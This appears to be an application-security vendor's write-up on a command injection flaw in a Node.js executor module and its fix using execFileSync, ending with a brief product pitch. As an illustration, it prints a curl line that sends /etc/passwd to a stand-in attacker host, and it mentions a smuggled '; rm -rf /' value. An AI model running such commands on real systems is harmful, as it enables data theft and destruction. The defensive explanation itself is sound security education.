How Command Injection happens in Node.js child_process calls and how to fix it

The Problem with Shell Strings: A Real Command Injection in cu_linux_executor.js

The js/cu_linux_executor.js file is responsible for executing system-level commands on Linux — things like detecting virtualization environments, checking for available binaries, and driving desktop automation tools. It's a privileged piece of infrastructure that sits close to the OS. And until recently, it contained a classic command injection pattern hiding in plain sight.

Semgrep's javascript.lang.security.detect-child-process rule flagged it: calls to child_process.execSync() where the command string was assembled from function arguments. This is a textbook setup for OS command injection (CWE-78), and in an executor module that runs shell commands on behalf of higher-level logic, the consequences of exploitation could be severe.

The Vulnerability Explained

The Dangerous Pattern

At the heart of the issue were two helper functions defined at the top of the file:

// BEFORE — vulnerable
function _exec(cmd){return _cp.execSync(cmd,{encoding:"utf-8",timeout:15000}).trim()}
function _execBuf(cmd){return _cp.execSync(cmd,{timeout:15000})}

Both functions accept a cmd argument and pass it directly to execSync(). Node.js's execSync() works by passing the entire string to /bin/sh -c, which means the shell interprets the string — including any metacharacters it contains.

These helpers were then used throughout the file in patterns like this:

// BEFORE — vulnerable
function _hasCmd(cmd){
  if(_cmdCache[cmd]!==void 0)return _cmdCache[cmd];
  try{_exec("which "+cmd+" 2>/dev/null");_cmdCache[cmd]=true}
  catch(e){_cmdCache[cmd]=false}
  return _cmdCache[cmd]
}

Notice "which "+cmd. If cmd contains shell metacharacters, they will be interpreted by /bin/sh. For example:

# If cmd = "ydotool; curl http://attacker.com/exfil?data=$(cat /etc/passwd)"
which ydotool; curl http://attacker.com/exfil?data=$(cat /etc/passwd)

The shell splits on ; and executes both commands. The $(...) subshell runs cat /etc/passwd and passes its output as a URL query parameter. This is command injection in its most classic form.

Similarly, the virtualization detection call:

// BEFORE — vulnerable
var _virt=_cp.execSync("systemd-detect-virt 2>/dev/null",{encoding:"utf-8",timeout:3000}).trim();

This specific call uses a hardcoded string, so it's less immediately dangerous — but the pattern establishes execSync() with shell string construction as the norm throughout the file, and the 2>/dev/null redirection itself requires shell interpretation.

Why This Matters in This Specific Module

cu_linux_executor.js is an executor — it's designed to run commands. The _hasCmd() function checks whether binaries like ydotool, xdotool, or wlroots-bridge are available. The values passed to _hasCmd() come from higher-level logic in the application. If any part of that logic incorporates user-supplied strings (e.g., from a configuration file, an API response, or a model-generated action), the shell injection path is open.

The PR description is explicit about this: "This patch removes an exploit primitive — a code pattern that, while not independently exploitable today, could be chained with other weaknesses by automated exploit-development tooling."

The Fix

The fix takes the structurally correct approach: eliminate the shell entirely by switching from execSync() to execFileSync().

Before vs. After

Virtualization detection:

// BEFORE
var _virt=_cp.execSync("systemd-detect-virt 2>/dev/null",{encoding:"utf-8",timeout:3000}).trim();

// AFTER
var _virt=_cp.execFileSync("systemd-detect-virt",[],{
  encoding:"utf-8",
  timeout:3000,
  stdio:["ignore","pipe","ignore"]
}).trim();

Key differences:
- execFileSync("systemd-detect-virt", []) spawns the binary directly — no shell involved.
- The 2>/dev/null shell redirect is replaced with stdio:["ignore","pipe","ignore"], which achieves the same result (suppressing stderr) at the Node.js API level, without needing a shell.

Binary availability check:

// BEFORE
function _hasCmd(cmd){
  if(_cmdCache[cmd]!==void 0)return _cmdCache[cmd];
  try{_exec("which "+cmd+" 2>/dev/null");_cmdCache[cmd]=true}
  catch(e){_cmdCache[cmd]=false}
  return _cmdCache[cmd]
}

// AFTER
function _hasCmd(bin){
  if(_cmdCache[bin]!==void 0)return _cmdCache[bin];
  try{_cp.execFileSync("which",[bin],{encoding:"utf-8",timeout:3000});_cmdCache[bin]=true}
  catch(e){_cmdCache[bin]=false}
  return _cmdCache[bin]
}

Key differences:
- The parameter is renamed from cmd to bin, clarifying that this is a binary name, not an arbitrary shell command.
- "which "+cmd is replaced with execFileSync("which", [bin]) — bin is passed as a separate argument array element, not concatenated into a shell string.
- Even if bin contains ; rm -rf /, execFileSync passes that entire string as a single argument to which. The shell never sees it. which will simply report that no such binary exists.

The _exec and _execBuf helpers are removed entirely:

// BEFORE
function _exec(cmd){return _cp.execSync(cmd,{encoding:"utf-8",timeout:15000}).trim()}
function _execBuf(cmd){return _cp.execSync(cmd,{timeout:15000})}

// AFTER — these functions are deleted

Removing these helpers is the right call. They were generic shell-execution wrappers that made it easy to accidentally pass unsanitized input to a shell. Their removal forces future developers to use the safer execFileSync/spawnSync APIs directly, where the separation between executable and arguments is structurally enforced by the function signature.

Prevention & Best Practices

1. Prefer execFileSync / spawnSync over execSync

The fundamental rule in Node.js process execution:

When you use execFileSync(file, args) or spawnSync(file, args), the OS execve syscall is invoked directly. Arguments are passed as discrete strings in an argv array. The shell is never involved, so shell metacharacters have no special meaning.

2. Replace shell redirections with stdio options

A common reason developers reach for execSync is shell features like 2>/dev/null. These can always be replaced with Node.js stdio configuration:

// Instead of: execSync("cmd 2>/dev/null")
execFileSync("cmd", [], { stdio: ["ignore", "pipe", "ignore"] });
//                              stdin   stdout  stderr

3. Validate binary names before use

Even with execFileSync, it's good practice to validate that binary names are what you expect:

const ALLOWED_BINS = new Set(["ydotool", "xdotool", "wlroots-bridge"]);

function _hasCmd(bin) {
  if (!ALLOWED_BINS.has(bin)) throw new Error(`Unexpected binary: ${bin}`);
  // ... execFileSync("which", [bin])
}

An allowlist ensures that even if the call site is compromised, only known binaries can be queried.

4. Use static analysis to catch this early

Semgrep's javascript.lang.security.detect-child-process rule catches exactly this pattern. Add it to your CI pipeline:

# .semgrep.yml
rules:
  - id: detect-child-process
    pattern: child_process.execSync($CMD, ...)
    message: "Avoid execSync with dynamic input; use execFileSync instead"
    severity: WARNING

5. Understand CWE-78

This vulnerability is classified as CWE-78: Improper Neutralization of Special Elements used in an OS Command. It's consistently in the OWASP Top 10 under A03:2021 – Injection. The mitigation is always the same: separate the command from its arguments at the API level, never via string sanitization alone.

Key Takeaways

• execSync("which " + cmd) is always dangerous — concatenating any variable into a shell string creates an injection surface, even for something as innocuous-looking as a binary name check in _hasCmd().
• Removing _exec() and _execBuf() was the right call — generic shell-execution helpers make it structurally easy to introduce injection bugs; deleting them forces safer API usage going forward.
• Shell redirections like 2>/dev/null can always be replaced — stdio: ["ignore", "pipe", "ignore"] achieves the same result without requiring a shell, as demonstrated in the systemd-detect-virt fix.
• The rename from cmd to bin matters — naming a parameter bin signals that it should be a binary identifier, not an arbitrary shell command, which reduces the chance of misuse at call sites.
• Executor modules deserve extra scrutiny — files like cu_linux_executor.js that exist specifically to run OS commands are high-value targets; every execSync call in such files should be treated as a potential injection point.

How Orbis AppSec Detected This

• Source: The cmd/bin parameter passed into _hasCmd() and the _exec() / _execBuf() helper functions — values that flow from higher-level application logic and could incorporate user-controlled or model-generated strings.
• Sink: _cp.execSync(cmd, {...}) at line 3 of js/cu_linux_executor.js, where the full shell string is handed to /bin/sh -c.
• Missing control: No validation, allowlisting, or shell escaping was applied to cmd before it was concatenated into the shell string; the shell was invoked unconditionally.
• CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
• Fix: Replaced all execSync() calls with execFileSync(), passing the executable and arguments as separate parameters to bypass the shell entirely, and removed the generic _exec() and _execBuf() shell-execution wrappers.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

Command injection through child_process.execSync() is one of the most impactful vulnerability classes in Node.js — and one of the most preventable. The root cause in cu_linux_executor.js was straightforward: helper functions that accepted a cmd string and passed it directly to a shell, combined with call sites that built those strings by concatenation.

The fix is equally straightforward: execFileSync() separates the executable from its arguments at the API level, making shell injection structurally impossible. No amount of attacker-controlled metacharacters in an argument array can escape into shell syntax when there is no shell.

If you're writing Node.js code that executes system commands, make execFileSync and spawnSync your defaults. Reserve execSync only for cases where you genuinely need shell features — and in those cases, ensure you're working with fully hardcoded strings, never user-controlled input.

References

• CWE-78: Improper Neutralization of Special Elements used in an OS Command
• OWASP Command Injection Defense Cheat Sheet
• Node.js child_process.execFileSync() Documentation
• Semgrep Rule: detect-child-process
• harden: sanitize child_process call in cu_linux_executor.js...